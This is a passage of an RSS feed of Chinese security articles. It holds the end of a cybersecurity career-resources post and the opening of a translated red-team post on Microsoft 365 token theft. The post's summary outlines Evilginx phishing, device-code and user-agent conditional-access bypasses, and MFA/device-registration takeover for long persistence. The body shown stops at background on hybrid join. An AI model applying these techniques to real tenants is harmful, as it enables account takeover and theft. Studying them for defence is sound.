sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Cisco 提供的免费网络安全培训。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">围绕网络、安全原则和网络防御概念提供扎实的基础知识。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://www.netacad.com/cybersecurity" target="_blank">https://www.netacad.com/cybersecurity</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Ludus Cyber Range</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个用于部署真实网络实验环境和安全靶场的平台。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">让你可以模拟攻击并在受控环境中观察防御遥测数据，帮助理解真实攻击在日志中的呈现方式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://ludus.cloud/" target="_blank">https://ludus.cloud/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Elastic Security (ELK Stack Lab Guide)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于 Elasticsearch、Logstash 和 Kibana 的 SIEM 与分析平台。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">广泛用于日志分析和安全分析。在实验环境中运行有助于学习检测管道和日志分析。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://docs.ludus.cloud/docs/environment-guides/elastic/" target="_blank">https://docs.ludus.cloud/docs/environment-guides/elastic/</a></span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Wazuh</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简介：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一个用于终端监控和威胁检测的开源 XDR 和 SIEM 平台。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">推荐理由：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">提供日志监控、文件完整性监控和安全告警功能，非常适合搭建家庭 SOC 环境。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">链接：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://github.com/wazuh/wazuh" target="_blank">https://github.com/wazuh/wazuh</a></span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">结语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">除了写博客、开发工具和做演讲之外，我在职业生涯中还抽出时间写了两本书和一门课程 (<a href="https://lms.zsec.red)。这两本书可以在这里免费获取：https://leanpub.com/b/LearningTheRopes/c/dc33dec25，如果你更喜欢纸质版，它们在" target="_blank">https://lms.zsec.red)。这两本书可以在这里免费获取：https://leanpub.com/b/LearningTheRopes/c/dc33dec25，如果你更喜欢纸质版，它们在</a> Amazon 全球均可购买并按需印刷 (Amazon 负责印刷并邮寄给你)</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left-width: 4px;border-left-style: solid;border-left-color: rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.zsec.uk/ltr101-getting-into-industry-in-2026/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6a5667df&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496020%26idx%3D1%26sn%3Dce7aeb85451834066c8405d5d9d4df15">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 May 2026 16:35:00 +0800</pubDate>
    </item>
    <item>
      <title>Token 窃取的武器化: 红队视角</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496019&amp;idx=1&amp;sn=08d2045a47bb87cc7fc7862c39fe9e69</link>
      <description>从红队视角剖析 Microsoft 365 token 窃取武器化:借助 Evilginx 钓鱼、TokenTactics 设备代码绕过、OS/2 user agent 突破 trustType 条件访问,并通过 roadtx 接管休眠账户的 MFA 与设备注册,最终在启用 Entra ID join 的云环境中获得长达 90 天的持久访问。</description>
      <content:encoded><![CDATA[<p><span>Edwin David</span> <span>2026-05-09 17:40</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1ce3aaed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShIqIzyqxouSwaP9cAMAczGVfy0epicE83NgDBUNToto9aJr0y2bTWISPCrtY8hWztIzWhcHiajHsRYRUr72icHibEDtiahrM3qTTHM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>从红队视角剖析 Microsoft 365 token 窃取武器化:借助 Evilginx 钓鱼、TokenTactics 设备代码绕过、OS/2 user agent 突破 trustType 条件访问,并通过 roadtx 接管休眠账户的 MFA 与设备注册,最终在启用 Entra ID join 的云环境中获得长达 90 天的持久访问。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://trustedsec.com/blog/weaponization-of-token-theft-a-red-team-perspective" target="_blank">https://trustedsec.com/blog/weaponization-of-token-theft-a-red-team-perspective</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Edwin David</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本博客是一系列深入研究 token 窃取武器化主题的开篇。本文的重点是围绕设备的条件访问 (Conditional Access),以及攻击者入侵 Microsoft 365 用户时的行为方式。最终,某些条件将使我们能够对所选用户和目标设备保持长达 90 天的持久访问。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1 企业设备场景</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Microsoft 近期建议将新设备以云原生 (cloud-native) 方式通过 Microsoft Entra join 进行部署,不再推荐使用 Microsoft Entra hybrid join。下面这篇关于部署 Microsoft Entra 混合加入设备的文章中给出了这一重要提示。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.215625" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012344" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=ec489ba4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjLgsND6kUW3KDcdiaG2IH81vOY0sdlazOcaljdxQ9FzO3EKWIWwOl2qz59nFn36UMAtzicDys8z0h7ShWOV91wnniaicibRO3GN1UY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 1 - 关于 Hybrid Entra ID Join 的重要提示</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><u><span leaf=""><a href="https://learn.microsoft.com/en-us/autopilot/windows-autopilot-hybrid" target="_blank">https://learn.microsoft.com/en-us/autopilot/windows-autopilot-hybrid</a></span></u></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然这篇文章主要讲的是 Windows Autopilot,但该提示似乎面向任何新设备。如果你的组织正在使用 Hybrid Azure AD Join,建议测试一下云原生方案,以判断它对你的组织是否可行。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">1.1 什么是 Entra Hybrid Join?</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">混合加入 (Hybrid joined) 设备选项是在 Azure Active Directory Connect 的 Device systems 选项下配置的。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.70625" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012345" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=919b6875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjLL7N9dw7oeEIWIz1knibFiaecBvA3QbjleEToIodJKstoEFW9VL42BDSK6l3yr1MTWPAaX3kMx09MPajD2yj5bjdVbibwe2W8oU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 2 - Entra ID Connect 选项</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当通过 Azure Active Directory Connect 在内部 AD 域上强制启用混合加入时,条件访问通常只是次要目标,主要目标是确保公司自有资产能够访问任何云工作负载,同时对个人设备使用不同的条件访问策略集进行管控。在 Entra ID 门户中查看设备时,你会看到列出的设备状态为 &#34;Microsoft Entra hybrid joined&#34;。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.578125" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012343" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c379f08b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaSwb0KlK7WZ044sj8DoRF7q9pOWfhYibWqdKPT0acdoXbAr7EbHPLQEvMNFysEBT45BicL2IlDcKV9XysCqPIUzKaiaP0RoS5YAs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图 3 - Entra Hybrid Joined 设备</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下面是一个可在混合加入场景下强制实施的示例策略集。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="2.721875" data-type="png" data-w="320" style="max-width: 100%;height: auto !important;" data-imgfileid="100012346" data-aistatus="1" 